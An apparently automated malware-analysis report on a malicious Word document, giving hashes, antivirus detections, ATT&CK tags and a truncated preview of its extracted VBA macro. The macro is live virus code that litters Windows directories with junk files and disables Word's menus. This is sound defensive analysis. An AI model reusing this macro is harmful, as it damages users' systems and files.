Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80b5722b5105997f…

MALICIOUS

Office (OLE)

44.0 KB Created: 2000-09-02 10:53:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 0f5f0605abcbd3f7cd76edab118cf657 SHA-1: 80b7f8fec1328b8407ecac6afaf51da7ba559cdc SHA-256: 80b5722b5105997f8f5869ab3a1d53b7e6ec998f2d1d55f47456d45baf96b964
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of a Document_Open macro and the ClamAV detections (Win.Trojan.Psycho-3, Doc.Trojan.Baby-6) strongly indicate malicious intent. The VBA script attempts to create directories and files within the Windows system directory, likely to stage or execute a second-stage payload. The script's obfuscated nature and truncated content prevent a full understanding of its ultimate goal, but the directory creation suggests a downloader or dropper functionality.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11064 bytes
SHA-256: 911782c69fa879689841cb054183971d4fff5c4f18babdf5c4430cb466634071
Detection
ClamAV: Doc.Trojan.Baby-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Sub Document_Close()
Randomize: On Error Resume Next: Dim NPVOBB: AAA = Int(Rnd * 3) + 1
    If AAA = 1 Then NPVOBB = ShowCursor(1)
    If AAA = 2 Then: c% = FindWindow("Shell_TrayWnd", vbNullString): NPVOBB = ShowWindow(c%, 1)
    If AAA = 3 Then
QYVD = Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65) + Chr(Int(Rnd * 25) + 65)
MQAW = Int(Rnd * 4) + 1
    If MQAW = 4 Then
MQAW = "c:\windows": End If
    If MQAW = 3 Then
MQAW = "c:\windows\" & QYVD
MkDir MQAW: End If
    If MQAW = 2 Then
MQAW = "c:\" & QYVD
MkDir MQAW: End If
    If MQAW = 1 Then
MQAW = "c:\windows\system\" & QYVD
MkDir MQAW: End If
Open MQAW & "\" & QYVD & ".txt" For Output As #1
NPVOBB = Chr(73) & Chr(32) & Chr(100) & Chr(97) & Chr(32) & Chr(98) & Chr(97) & Chr(98) & Chr(121) & Chr(44) & Chr(32) & Chr(103) & Chr(111) & Chr(116) & Chr(116) & Chr(97) & Chr(32) & Chr(119) & Chr(117) & Chr(118) & Chr(32) & Chr(109) & Chr(101) & Chr(33) & Chr(32) & Chr(58) & Chr(41)
For TOSW = 1 To 8000
MCSI = Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65) & Chr(Int(Rnd * 90) + 65)
AAA = AAA + MCSI
Next TOSW
PTSA = Chr(73) & Chr(32) & Chr(100) & Chr(97) & Chr(32) & Chr(98) & Chr(97) & Chr(98) & Chr(121) & Chr(44) & Chr(32) & Chr(103) & Chr(111) & Chr(116) & Chr(116) & Chr(97) & Chr(32) & Chr(119) & Chr(117) & Chr(118) & Chr(32) & Chr(109) & Chr(101) & Chr(33) & Chr(32) & Chr(58) & Chr(41) & Chr(32) & Chr(32) & Chr(45) & Chr(32) & Chr(32) & Chr(87) & Chr(111) & Chr(114) & Chr(100) & Chr(50) & Chr(48) & Chr(48) & Chr(48) & Chr(46) & Chr(66) & Chr(97) & Chr(98) & Chr(121) & Chr(32) & Chr(98) & Chr(121) & Chr(32)
JVCC = Chr(36) & Chr(77) & Chr(79) & Chr(79) & Chr(84) & Chr(72) & Chr(105) & Chr(69) & Chr(32) & Chr(68) & Chr(97) & Chr(32) & Chr(72) & Chr(117) & Chr(83) & Chr(116) & Chr(108) & Chr(97) & Chr(32) & Chr(91) & Chr(90) & Chr(101) & Chr(114) & Chr(111) & Chr(71) & Chr(114) & Chr(97) & Chr(118) & Chr(105) & Chr(116) & Chr(121) & Chr(93)
NCEOOL = PTSA & JVCC
Print #1, AAA: Print #1, NCEOOL: Close #1
    End If
    If Day(Now) = 12 Then
WORD2000_A = "File": WORD2000_B = "Exit": WORD2000_C = "Edit": WORD2000_D = "View": WORD2000_E = "Insert": WORD2000_F = "Format"
WORD2000_G = "Tools": WORD2000_H = "Table": WORD2000_I = "Help"
HUOFNY = Chr(73) & Chr(39) & Chr(109) & Chr(32) & Chr(100) & Chr(97) & Chr(32) & Chr(98) & Chr(97) & Chr(98) & Chr(121) & Chr(44) & Chr(32) & Chr(103) & Chr(111) & Chr(116) & Chr(116) & Chr(97) & Chr(32) & Chr(108) & Chr(111) & Chr(118) & Chr(101) & Chr(32) & Chr(109) & Chr(101) & Chr(33) & Chr(32) & Chr(58) & Chr(41)
For x = 1 To 13: With CommandBars(WORD2000_A).Controls(x): .Caption = HUOFNY: .Enabled = 0: Next x: End With
CommandBars(WORD2000_A).Controls(WORD2000_B).Caption = HUOFNY: CommandBars(WORD2000_A).Controls(WORD2000_B).Enabled = 0
    For x = 1 To 14
With CommandBars(WORD2000_C).Contro
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.